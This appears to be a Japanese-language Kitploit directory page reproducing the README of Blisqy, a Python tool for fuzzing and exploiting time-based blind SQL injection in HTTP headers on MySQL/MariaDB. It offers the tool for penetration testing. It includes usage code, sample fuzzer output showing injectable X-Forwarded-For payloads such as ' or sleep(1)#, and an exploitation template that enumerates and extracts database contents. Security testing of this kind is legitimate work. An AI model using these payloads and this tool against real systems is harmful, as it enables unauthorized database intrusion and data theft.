Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Blisqy — バージョン0.2 - HTTPヘッダーにおけるTime-based blind-SQLインジェクションのエクスプロイト (MySQL/MariaDB)。 | Kitploit
ツール/GitHubGitHub/johntroony/blisqy
脆弱性スキャナーエクスプロイトウェブセキュリティファジングデータベースセキュリティ
GitHubjohntroony/blisqy

Blisqy

バージョン0.2 - HTTPヘッダーにおけるTime-based blind-SQLインジェクションのエクスプロイト (MySQL/MariaDB)。

リポジトリを見る
4161117年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

1. Blisqy

Blisqy は、Web セキュリティ研究者が HTTP ヘッダーにおける時間ベースのブラインド SQL インジェクションを発見し、同じ脆弱性を悪用するためのツールです。

この悪用により、ブラインド SQL インジェクションを介して、印字可能な ASCII 文字に対するビット演算を使用して、データベース(現時点では MySQL/MariaDB のみ対応)からの低速データ引き出しが可能になります。

他の Python ツールとの相互運用性を確保し、他のユーザーが Blisqy が提供する機能を利用できるように、本モジュールは他の Python ベースのスクリプトにインポートすることができます。

時間ベースのブラインド SQL インジェクションをテストする際、ネットワークの遅延や輻輳がファジングや悪用の効果に影響を与える可能性があります。考えられるネットワーク遅延や不確実性による遅延を補うために、Blisqy の時間比較は動的で、テストごとに実行時に計算されます。テストは greenlet(軽量な協調スケジューリング実行ユニット)を利用して、libevevent ループの上に高水準の同期 API を提供します。短時間でペイロードテストを高速かつ効率的に実行でき、さらに、特定のテストが他のテストに影響を与えることはありません。これらは逐次的な方法では完全には実行されないためです。

1.1. 新機能

Blisqy は HTTP ヘッダーにおける時間ベースのブラインド SQL インジェクションのファジングをサポートするようになり、主要機能(ファジングとエクスプロイト)は移植性のために独立したファイルに分離されました。

1.2. Blisqy を使用したファジング

ファジング機能を使用するには、以下のように Python スクリプトに次のモジュールをインポートし、対象とファジングデータを指定します。

root@kitploit:~
from lib.blindfuzzer import blindSeeker

対象パラメータはディクショナリ/JSON 形式で指定する必要があります。例(変数のデータ型に注意):

root@kitploit:~
    Server = '192.168.56.101'
    Port = 80
    Index = 1
    Method = 'GET'
    Headerfile = "fuzz-data/headers/default_headers.txt"
    Injectionfile = "fuzz-data/payloads/mysql_time.txt"

    target_params = {
        'server': Server,
        'port': Port,
        'index': Index,
        'headersFile': Headerfile,
        'injectionFile': Injectionfile,
        'method': Method
    }

対象パラメータを指定した後のファジザーの呼び出しは以下の通りです。

root@kitploit:~
vulns = blindSeeker(target_params)
vulns.fuzz()

この例については FindBlindSpot.py を参照してください。

1.2.1. ファジング出力サンプル

成功すると、実行された「インジェクション可能」なテストのレポートが表示されます。Blisqy はネットワーク遅延や輻輳を補おうとしますが、報告された陽性テストを実際の悪用前に検証することが重要です。

以下はサンプルレポートです。

root@kitploit:~
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record  = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index

===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.



[+] Injection : X-Forwarded-For : ' or sleep(1)#

[+] Header : X-Forwarded-For

[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________

[+] Injection : X-Forwarded-For : ' or sleep(1)='

[+] Header : X-Forwarded-For

[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________

Blisqy ファジザーの動作中のスクリーンショット:

Fuzz for Blind SQLi

1.3. Blisqy を使用したエクスプロイト

潜在的な時間ベースのブラインド SQL インジェクションを見つけたら、脆弱な Web アプリケーションを悪用するためのスクリプトを準備できます。

ファジザーと同様に、Python スクリプトにエクスプロイト用のモジュールをインポートし、エクスプロイト操作のテンプレートを定義します。以下は、Python スクリプトにモジュールをインポートする例です。

root@kitploit:~
from lib.blindexploit import SqlEngine

次に、エクスプロイトのために、対象とそのパラメータの詳細を提供する必要があります。以下は、ファジザーで見つかったブラインド SQL インジェクションを悪用する実装例です。

対象データは、サーバー、ポート、見つかった脆弱なヘッダーとその値(一部のアプリケーションは特定の値を必要とするかチェックします)を指定するディクショナリ/JSON 形式でなければなりません。また、変数のデータ型に注意。

root@kitploit:~
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

対象パラメータは続けて、エクスプロイトの設定に関するオプションを指定できるようにする必要があります。

root@kitploit:~
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}
  • sleepTime はペイロードで使用する遅延です。
  • payload は、例えば select @@hostname のようなカスタム SQL クエリでエクスプロイトを実行するオプションです。デフォルトは 'pass' です。
  • mysqlDig を有効にすると、エクスプロイトが自動的にスキーマ内のすべてのテーブルを列挙します。
  • interactive は、ユーザーがエクスプロイトルーチンと対話できるようにするオプションです。これは、データベースの興味深い部分にスキップしたい場合に便利です。
  • verbosity は high、medium、low のいずれかを指定できます。エクスプロイトルーチンからの出力情報を制御します。

対象とそのパラメータを指定したら、次にエクスプロイトルーチンのテンプレートを提供します。Blisqy は、ユーザーがデータ流出用の SQL ペイロードと sleeptime 遅延を注入する場所を指定できる方法を提供します。以下は、前のサブセクションで提供したサンプルレポートで見つかった脆弱性の 1 つの実装例です。

X-Forwarded-For ヘッダーで見つかったインジェクション:

root@kitploit:~
' or sleep(1)='

この特定のインジェクションのテンプレート:

root@kitploit:~
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

実行時に、*sql* は SQL インジェクションペイロードに置き換えられ、*time* は sleep() の遅延に置き換えられます。

これらすべてが完了したら、最後のステップはエクスプロイトルーチンをインスタンス化し、MysqlDigger() メソッドに作業を任せることです。

root@kitploit:~
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)

# Enumerate the MySql Database
BlindSql.MysqlDigger()

ExploitBlindSpot.py にこの例が用意されています。

以下はエクスプロイト操作の例です:

Exploit Blind SQLi

1.4. 今後の予定

  • HTTP ヘッダーおよび Web 要素上の SQL インジェクション脆弱性を探すインテリジェントファジザーの統合
  • HTTP ヘッダー以外の Web エンドポイントに対するブラインド SQL インジェクションのファジングとエクスプロイトのサポート。

1.4.1. コントリビュート

Blisqy で見つけた興味深い点や、追加・削除すべきと考える点があればお知らせください。

  • アイデアや要望リストを共有する
  • タイポを見つけたら教えてください
  • Blisqy を最適化する方法は?
  • 他の DBMS のサポートを組み込む方法を提案する

1.4.2. 参考文献

  • (PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. Available from: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation

  • PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course

ツールをダウンロード